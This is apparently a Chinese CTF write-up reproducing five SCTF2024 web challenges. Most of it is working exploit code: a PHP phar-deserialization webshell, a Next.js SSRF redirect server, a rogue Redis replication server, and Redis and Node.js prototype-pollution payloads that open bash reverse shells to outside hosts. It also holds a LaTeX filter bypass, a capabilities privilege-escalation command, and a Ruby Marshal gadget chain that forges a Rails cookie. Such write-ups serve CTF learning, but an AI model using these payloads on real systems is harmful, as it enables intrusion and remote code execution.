SCTF2024赛后复现

Simpleshop

Recently, my e-commerce site has been illegally invaded, hackers through a number of means to achieve the purchase of zero actually free of charge to buy a brand new Apple / Apple iPad, you can help me to find out where the problem is?

https://avd.aliyun.com/detail?id=AVD-2024-6943、https://avd.aliyun.com/detail?id=AVD-2024-6944

根据漏洞通报定位漏洞函数:get_image_base64,本地审计梳理利用链为:前台用户上传文件,phar反序列化RCE

文件内容有检查,通过gzip压缩生成的phar文件即可绕过

poc

<?php
namespace GuzzleHttp\Cookie{

    class SetCookie {

        function __construct()
        {
            $this->data['Expires'] = '<?php eval($_POST[1]);?>';
            $this->data['Discard'] = 0;
        }
    }

    class CookieJar{
        private $cookies = [];
        private $strictMode;
        function __construct() {
            $this->cookies[] = new SetCookie();
        }
    }

    class FileCookieJar extends CookieJar {
        private $filename;
        private $storeSessionCookies;
        function __construct() {
            parent::__construct();
            $this->filename = "public/y0.php";
            $this->storeSessionCookies = true;
        }
    }
}

namespace{
    $exp = new GuzzleHttp\Cookie\FileCookieJar();
	var_dump($exp);

    $phar = new Phar('test.phar');
    $phar -> stopBuffering();
    $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); 
    $phar -> addFromString('test.txt','test');
    $phar -> setMetadata($exp);
    $phar -> stopBuffering();
    rename('test.phar','test.jpg');	
}
?>

上传:

触发:

蚁剑-> fpm bypass df -> suid读flag

ezjump

Just jump!

通过源码结构及flag文件位置,猜测是通过前端走私/SSRF到后端然后打redis的RCE

通过依赖检查发现Next.js存在一个SSRF的洞,https://github.com/azu/nextjs-CVE-2024-34351,通过一个SSRF server和修改Host Origin头即可

SSRF server:

from flask import Flask, request, Response, redirect

app = Flask(__name__)

@app.route('/play')
def exploit():
    # CORS preflight check
    if request.method == 'HEAD':
        response = Response()
        response.headers['Content-Type'] = 'text/x-component'
        return response
    # after CORS preflight check
    elif request.method == 'GET':
        ssrfUrl = 'http://172.11.0.3:5000/'
        return redirect(ssrfUrl)

if __name__ == '__main__':
    app.run(port=1337, host='0.0.0.0', debug=True)

在get_user时,会对redis发起 RESP 请求

可以直接打主从复制rce,构造fake server

import socket
from time import sleep
from optparse import OptionParser

def RogueServer(lport):
    resp = ""
    sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.bind(("0.0.0.0",lport))
    sock.listen(10)
    conn,address = sock.accept()  
    sleep(5)
    while True:    
        data = conn.recv(1024)
        if "PING" in data:
            resp="+PONG"+CLRF
            conn.send(resp)
        elif "REPLCONF" in data:
            resp="+OK"+CLRF
            conn.send(resp)
        elif "PSYNC" in data or "SYNC" in data:
            resp =  "+FULLRESYNC " + "Z"*40 + " 1" + CLRF
            resp += "$" + str(len(payload)) + CLRF
            resp = resp.encode()
            resp += payload + CLRF.encode()
            if type(resp) != bytes:
                resp =resp.encode()            
            conn.send(resp)    
        #elif "exit" in data:
            break

if __name__=="__main__":

    parser = OptionParser()                     
    parser.add_option("--lport", dest="lp", type="int",help="rogue server listen port, default 21000", default=21000,metavar="LOCAL_PORT")        
    parser.add_option("-f","--exp", dest="exp", type="string",help="Redis Module to load, default exp.so", default="exp.so",metavar="EXP_FILE")            

    (options , args )= parser.parse_args()
    lport = options.lp
    exp_filename = options.exp

    CLRF="\r\n"
    payload=open(exp_filename,"rb").read()
    print "Start listing on port: %s" %lport
    print "Load the payload:   %s" %exp_filename     
    RogueServer(lport)

构造ssrf请求

from flask import Flask, request, Response, redirect
import urllib.parse

app = Flask(__name__)

@app.route('/play')
def exploit():
    # CORS preflight check
    if request.method == 'HEAD':
        response = Response()
        response.headers['Content-Type'] = 'text/x-component'
        return response
    # after CORS preflight check
    elif request.method == 'GET':
        padding = "\r\n"
        inject = "$1\r\na\r\n"
        # 主从
        #inject += "SLAVEOF 1.1.1.1 21000\r\n\r\n\r\nCONFIG SET dbfilename exp.so\r\n"
        # 执行命令
        inject += "MODULE LOAD ./exp.so\r\nsystem.exec 'bash -c \"bash -i >& /dev/tcp/1.1.1.1/1338 0>&1\"'\r\n"
        padding += inject
        user = "admin"*len(padding)+padding
        ssrfUrl = f'http://172.11.0.3:5000/login?password=&username={urllib.parse.quote(user)}'
        return redirect(ssrfUrl)

if __name__ == '__main__':
    app.run(port=1337, host='0.0.0.0', debug=True)

ez_tex

上传/编译 LaTex 文件,无回显,/log路径只显示一个app.log

文件内容检测通过 ^^41 == A 绕过,尝试往app.log写内容

\documentclass[]{article}
\begin{document}

\newwrite\outfile
\imm^^65diate\openout\outfile=a^^70p.log
\imm^^65diate\write\outfile{helloworld}
\imm^^65diate\closeout\outfile

\end{document}

成功读取到main.py

\documentclass{article}
\begin{document}
\newread\infile
\newwrite\outfile
\openin\infile=main.py
\imm^^65diate\openout\outfile=a^^70p.log
\loop
    \read\infile to \line
    \ifeof\infile\else
        \imm^^65diate\write\outfile{\line}
\repeat
\closein\infile
\imm^^65diate\closeout\outfile
\end{document}

main.py

import os 
import logging 
import subprocess 
from flask import Flask, request, render_template, redirect 
from werkzeug.utils import secure_filename 

app = Flask(__name__) 

if not app.debug: 
        handler = logging.FileHandler('app.log') 
        handler.setLevel(logging.INFO) 
        app.logger.addHandler(handler) 

UPLOAD_FOLDER = 'uploads' 
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER 

os.makedirs(UPLOAD_FOLDER, exist_ok=True) 

ALLOWED_EXTENSIONS = {'txt', 'png', 'jpg', 'gif', 'log', 'tex'} 

def allowed_file(filename): 
        return '.' in filename and \ 
        filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS 

def compile_tex(file_path): 
        output_filename = file_path.rsplit('.', 1)[0] + '.pdf' 
        try: 
                subprocess.check_call(['pdflatex', file_path]) 
                return output_filename 
        except subprocess.CalledProcessError as e: 
                return str(e) 

@app.route('/') 
def index(): 
        return render_template('index.html') 

@app.route('/upload', methods=['POST']) 
def upload_file(): 
        if 'file' not in request.files: 
                return redirect(request.url) 
        file = request.files['file'] 
        if file.filename == '': 
                return redirect(request.url) 

        if file and allowed_file(file.filename): 
                content = file.read() 
                try: 
                        content_str = content.decode('utf-8') 
                except UnicodeDecodeError: 
                        return 'File content is not decodable' 
                for bad_char in ['\\x', '..', '*', '/', 'input', 'include', 'write18', 'immediate','app', 'flag']: 
                        if bad_char in content_str: 
                                return 'File content is not safe' 
                file.seek(0) 
                filename = secure_filename(file.filename) 
                file_path = os.path.join(app.config['UPLOAD_FOLDER'], filename) 
                file.save(file_path) 
                return 'File uploaded successfully, And you can compile the tex file' 
        else: 
        return 'Invalid file type or name' 


@app.route('/compile', methods=['GET']) 
def compile(): 
        filename = request.args.get('filename') 

        if not filename: 
                return 'No filename provided', 400 

        if len(filename) >= 7: 
                return 'Invalid file name length', 400 

        if not filename.endswith('.tex'): 
                return 'Invalid file type', 400 

        file_path = os.path.join(app.config['UPLOAD_FOLDER'], filename) 
        print(file_path) 
        if not os.path.isfile(file_path): 
                return 'File not found', 404 

        output_pdf = compile_tex(file_path) 
        if output_pdf.endswith('.pdf'): 
                return "Compilation succeeded" 
        else: 
                return 'Compilation failed', 500 

@app.route('/log') 
def log(): 
        try: 
                with open('app.log', 'r') as log_file: 
                log_contents = log_file.read() 
                return render_template('log.html', log_contents=log_contents) 
        except FileNotFoundError: 
                return 'Log file not found', 404 

if __name__ == '__main__': 
app.run(host='0.0.0.0', port=3000, debug=False) 

写html打SSTI,然后suid提权无果,Capabilities 提权

getcap -r / 2>/dev/null
python3.11 -c 'import os; os.setuid(0); os.system("cat /root/sctf > /app/ez_tex/static/1.txt")'

havefun

小李刚毕业入职一家公司,老板交给了他一个任务,但是他第一次配置php相关服务,好像存在一些问题,马上要检查了,小李是否会挨骂呢?

主页指向了 /static/SCTF.jpg ,文件尾存在php代码

<?php
$file = '/etc/apache2/sites-available/000-default.conf';
$content = file_get_contents($file);
echo htmlspecialchars($content);
?>

通过 路径解析错误 成功将jpg执行为php http://1.95.37.51/static/SCTF.jpg/a.php

获取到 000-default.conf 内容

<VirtualHost *:80>
        ServerAdmin webmaster@localhost
        DocumentRoot /var/www/html
        PassengerAppRoot /usr/share/redmine

        ErrorLog ${APACHE_LOG_DIR}/error.log
        CustomLog ${APACHE_LOG_DIR}/access.log combined
        <Directory /var/www/html/redmine>
                RailsBaseURI /redmine
                #PassengerResolveSymlinksInDocumentRoot on
        </Directory>

        RewriteEngine On
        RewriteRule  ^(.+\.php)$  $1  [H=application/x-httpd-php]
        LogLevel alert rewrite:trace3
        RewriteEngine On
        RewriteRule  ^/profile/(.*)$   /$1.html

</VirtualHost>

其中两条重写规则

RewriteRule  ^(.+\.php)$  $1  [H=application/x-httpd-php]
RewriteRule  ^/profile/(.*)$   /$1.html

根据橘子神的:Confusion Attacks: Exploiting Hidden Semantic Ambiguity in Apache HTTP Server! 中的

Jailbreak Local Gadgets to Redmine RCE,可以轻松获取到 secret_key.txt 的内容,从而实现攻击 Ruby on Rails,一个通过Cookie反序列化的RCE:小心!你的 Rails 有被打過嗎?

获取secret

http://1.95.37.51/profile/usr/share/redmine/instances/default/config/secret_key.txt%3f

环境安装失败,记录poc

# Autoload the required classes
require 'uri'
require 'rails/all'
Gem::SpecFetcher

# create a file a.rz and host it somewhere accessible with https
def generate_rz_file(payload)
  require "zlib"
  spec = Marshal.dump(Gem::Specification.new("bundler"))

  out = Zlib::Deflate.deflate( spec + "\"]\n" + payload + "\necho ref;exit 0;\n")
  puts out.inspect

  File.open("a.rz", "wb") do |file|
    file.write(out)
  end
end

def create_folder
  uri = URI::HTTP.allocate
  uri.instance_variable_set("@path", "/")
  uri.instance_variable_set("@scheme", "s3")
  uri.instance_variable_set("@host", "hacker.com/sctf2024/a.rz?")  # use the https host+path with your rz file

  uri.instance_variable_set("@port", "/../../../../../../../../../../../../../../../tmp/cache/bundler/git/aaa-e1a1d77599bf23fec08e2693f5dd418f77c56301/")
  uri.instance_variable_set("@user", "user")
  uri.instance_variable_set("@password", "password")

  spec = Gem::Source.allocate
  spec.instance_variable_set("@uri", uri)
  spec.instance_variable_set("@update_cache", true)

  request = Gem::Resolver::IndexSpecification.allocate
  request.instance_variable_set("@name", "name")
  request.instance_variable_set("@source", spec)

  s = [request]

  r = Gem::RequestSet.allocate
  r.instance_variable_set("@sorted", s)

  l = Gem::RequestSet::Lockfile.allocate
  l.instance_variable_set("@set", r)
  l.instance_variable_set("@dependencies", [])

  l
end

def git_gadget(git, reference)
  gsg = Gem::Source::Git.allocate
  gsg.instance_variable_set("@git", git)
  gsg.instance_variable_set("@reference", reference)
  gsg.instance_variable_set("@root_dir","/tmp")
  gsg.instance_variable_set("@repository","vakzz")
  gsg.instance_variable_set("@name","aaa")

  basic_spec = Gem::Resolver::Specification.allocate
  basic_spec.instance_variable_set("@name","name")
  basic_spec.instance_variable_set("@dependencies",[])

  git_spec = Gem::Resolver::GitSpecification.allocate
  git_spec.instance_variable_set("@source", gsg)
  git_spec.instance_variable_set("@spec", basic_spec)

  spec = Gem::Resolver::SpecSpecification.allocate
  spec.instance_variable_set("@spec", git_spec)

  spec
end

def popen_gadget
  spec1 = git_gadget("tee", { in: "/tmp/cache/bundler/git/aaa-e1a1d77599bf23fec08e2693f5dd418f77c56301/quick/Marshal.4.8/name-.gemspec"})
  spec2 = git_gadget("sh", {})

  s = [spec1, spec2]

  r = Gem::RequestSet.allocate
  r.instance_variable_set("@sorted", s)

  l = Gem::RequestSet::Lockfile.allocate
  l.instance_variable_set("@set", r)
  l.instance_variable_set("@dependencies",[])

  l
end

def to_s_wrapper(inner)
  s = Gem::Specification.new
  s.instance_variable_set("@new_platform", inner)
  s
end

folder_gadget = create_folder
exec_gadget = popen_gadget
generate_rz_file(("ruby -rsocket -e 'exit if fork;c=TCPSocket.new(\"1.1.1.1\",\"1337\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end'"))
r = Marshal.dump([Gem::SpecFetcher, to_s_wrapper(folder_gadget), to_s_wrapper(exec_gadget)])
#Marshal.load(r)
#puts %{Marshal.load(["#{r.unpack("H*")}"].pack("H*"))}
def sign_and_encryt_data(data,secret_key_base)
        salt = 'authenticated encrypted cookie'
        encrypted_cookie_cipher='aes-256-gcm'
        serializer=ActiveSupport::MessageEncryptor::NullSerializer
        key_generator=ActiveSupport::KeyGenerator.new(secret_key_base,iterations: 1000)
        key_len=ActiveSupport::MessageEncryptor.key_len(encrypted_cookie_cipher)
        secret=key_generator.generate_key(salt,key_len)
        encryptor=ActiveSupport::MessageEncryptor.new(secret,cipher: encrypted_cookie_cipher,serializer: serializer)
        data=encryptor.encrypt_and_sign(data)
        CGI::escape(data)
end
puts sign_and_encryt_data(r,ARGV[0])

SycServer2.0

登录框,前端对username、password进行sqlwaf、加密

将func wafsql置为空,然后万能密码登录

robots.txt中路由 /ExP0rtApi?v=./&f=app.js 存在文件读取,CyberChef解密

通过污染env和shell环境变量来命令注入,Abusing Environment Variables网鼎杯2023线下半决赛突破题errormsg复现

{
    "user":"__proto__",
    "date":"2",
    "reportmessage":{
        "shell":"/readflag",
        "env":{
            "NODE_DEBUG":"require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/ip/port 0>&1\"');process.exit();//",
            "NODE_OPTIONS":"-r /proc/self/environ"
        }
    }
}

{
    "user":"__proto__",
    "date":"2",
    "reportmessage":{
        "shell":"/bin/bash",
        "env":{
            "BASH_FUNC_whoami%%":"() { /readflag;}"
        }
    }
}

参考

https://blog.wm-team.cn/index.php/archives/82/

https://mp.weixin.qq.com/s/qOueXdU3UaKiJoUnuUjBEA

https://mp.weixin.qq.com/s/jp2ePXS1feCn0XLwadXhlg

相关推荐
云梦姐姐24 天前
第四届“网鼎杯”网络安全大赛 - 青龙组
ctf·wp
Z3r4y2 个月前
【Web】复现n00bzCTF2024 web题解(全)
web·ctf·wp·n00bzctf·n00bzctf2024
Z3r4y2 个月前
【Web】portswigger 服务端原型污染 labs 全解
javascript·web安全·nodejs·原型链污染·wp·portswigger
亿.62 个月前
BaseCTF2024 web
web·ctf·wp
Z3r4y2 个月前
【Web】御网杯信息安全大赛2024 wp(全)
web·ctf·wp·御网杯
Z3r4y2 个月前
【Web】PolarCTF2024秋季个人挑战赛wp
web·ctf·题解·wp·polarctf·polarctf秋季赛
Jay 173 个月前
2024 第七届“巅峰极客”网络安全技能挑战赛初赛 Web方向 题解WirteUp
安全·web安全·php·ctf·writeup·wp·巅峰极客
Z3r4y3 个月前
【Web】LIT CTF 2024 题解(全)
web·ctf·wp·litctf
云梦姐姐4 个月前
emojiCTF2024
ctf·wp